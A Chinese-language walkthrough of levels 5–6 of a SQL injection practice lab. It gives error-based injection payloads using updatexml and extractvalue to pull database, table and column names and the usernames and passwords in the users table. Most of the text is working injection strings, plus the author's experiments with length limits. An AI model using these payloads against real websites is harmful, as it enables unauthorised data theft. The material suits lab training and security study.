目錄
?
sql靶場5-6關(報錯注入)保姆級教程
1.第五關
1.步驟一(閉合)
2.步驟二(列數)
3.報錯注入深解
4.報錯注入格式
5.步驟三(數據庫表名)
6.常用函數
7.步驟四(表名)
8.步驟五(字段)
9.步驟六(賬號密碼)
2.第六關
?
?
?
sql靶場5-6關(報錯注入)保姆級教程
1.第五關
1.步驟一(閉合)
查詢閉合方式
?id=1 and 1=2
?
?id=1'
?
?id=1'--+
?
?
?
2.步驟二(列數)
查詢列數
?id=1' order by 5--+
?
?id=1' order by 3--+
?
?id=1' order by 4--+
?
看有沒有回顯
?
如果沒有直接回顯字段就看看是否有報錯,利用列數不同查看是否報錯顯示
?
?
?
3.報錯注入深解
有則利用報錯顯示進行注入,讓報錯里面攜帶所需的查詢信息
可以通過列數不同進行判斷是否有報錯,但是報錯注入一般是讓報錯函數通過構造?非法XPath表達式強制觸發數據庫解析錯誤,其核心原理與字段數無關,原因是字段數不匹配錯誤發生在 ?結果集構造階段(如 UNION
前后字段數不一致)報錯注入的異常發生在 ?條件解析階段(如XPath解析失敗),早于結果集生成,無論主查詢返回3個字段還是其他數量,條件邏輯僅影響數據過濾,不涉及字段數對比?
?
4.報錯注入格式
一般是通過updatexml與 extractvalue進行構造?非法XPath表達式
?id=1' and updatexml(1,concat(0x7e,(子查詢語句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查詢語句),0x7e))--+
?
5.步驟三(數據庫表名)
注入數據庫表名
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?
?
6.常用函數
使用的函數
concat:將同一行中多個字段的值拼接為單個字符串,適用于單行多列數據的合并?
group_concat:某一列的數據聚合,適用于單列多行數據的合并?
兩個可以組合使用----每次先將行中的兩個字段進行拼接成字符串再進行列的每行數據聚合
GROUP_CONCAT(CONCAT(col1, col2))
?
區別:
concat適用于需要精準提取特定行數據的場景(如管理員賬號)?。需多次請求,效率較低?
group_concat單次請求獲取數據,但需手動拼接分片結果?。適用于快速批量泄露(如全表用戶密碼)
?
問題:
在利用 updatexml 進行報錯注入時,可能會因為查詢結果因長度限制顯示不全,可通過以下兩種方法解決:mid()或 substr()分片截取數據,規避 updatexml() 的32字符長度限制?
?
區別:
substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,兩者語法和功能完全一致?,但是一般使用 mid(),功能相同但兼容性更佳?,可無縫替代 substr避免潛在語法沖突?。
?
使用的語法:
limit 0,1:從第0行開始,獲取1條數據。逐次修改起始位置(如 limit 1,1、limit 2,1)遍歷所有記錄?
substr(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),
逐次修改 start 參數(如 32、63)循環獲取后續內容?。
mid(string, start, length):從字符串第1位開始截取31個字符(因報錯信息最大長度約32字符),
逐次修改 start 參數(如 32、63)循環獲取后續內容?。
?
?特性? | concat + limit | group_concat + substr/mid |
---|---|---|
?數據范圍? | 單行數據 | 多行聚合數據 |
?輸出格式? | 單條記錄(如 user~pass ) | 多條記錄合并(如 user1~pass1,user2~pass2 ) |
?注入效率? | 需多次請求遍歷數據 | 單次請求獲取多行數據 |
?長度限制處理? | 直接適配單行輸出長度 | 需通過 substr 分段截取避免超長截斷? |
?
7.步驟四(表名)
獲取表名:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
?
報錯原因:查詢表名,但是表名有多個(多行),這里無法全部展示出來,需要使用limit,一行一行查詢
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
?
另外一種方法,使用group_concat與mid,因為這里注入出來的表名沒有超過32個字符,所以可以不使用mid進行截取
?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
?
這里我突然想到在使用updatexml構造無效的XPath表達式中如果不使用concat能不能進行報錯注入
?id=1' and updatexml(1,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,30),1)--+
?
結果發現可以進行注入,但是會缺少第一行的數據
原因是不使用concat,沒有分隔符:updatexml在解析字符串時,可能將第一個字符視為XPath語法的一部分而丟失。XPath解析問題:未正確構造無效的XPath表達式,導致首字符被處理掉。
?
8.步驟五(字段)
?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1)--+
?
?
9.步驟六(賬號密碼)
獲取賬號密碼:
?id=1' and updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+?id=1' and updatexml(1,concat(0x7e,(select mid((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+?id=1' and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
?
在這里我再次嘗試了在使用updatexml構造無效的XPath表達式中不使用concat
?id=1' and updatexml(1,select substr((group_concat(username,0x3a,password)),1,32) from users),1) --+
?
依然是缺少了第一行的數據
這里我突然想到既然缺少了第一行的數據,那么查詢的字符數其實真正是不夠的,如果改變取值,后面的會不會出來呢,于是我改到了40
?id=1' and updatexml(1,select substr((group_concat(username,0x3a,password)),1,40) from users),1) --+
?
結果發現了因為缺少了第一行的數據,那么查詢的字符數其實真正是不夠的,改變取值,其實后面的是會出來的
于是我繼續往后面加,加到了45,發現只出來了一個,因為應該是實際只能夠截取32位字符,與是我開始減值,到41是最大的值了
?id=1' and updatexml(1,select substr((group_concat(username,0x3a,password)),1,41) from users),1) --+
?
這里我又在想,如果直接截取最后幾個字符,但是又不足32個字符,會不會將前面缺失的第一行報出來,結果測試發現賬號密碼的數據有點多,我就去表名,突然在注入表名的過程中其實已經知道了,只是沒發現,結果是不會的。
?
2.第六關
進行閉合測試
id=1 1=2
?
id=1'
?
id=1"
?
id=1"--+
?
確認閉合方式就是雙引號
剩下的內容和第五關一樣,只是閉合方式不一樣
?
?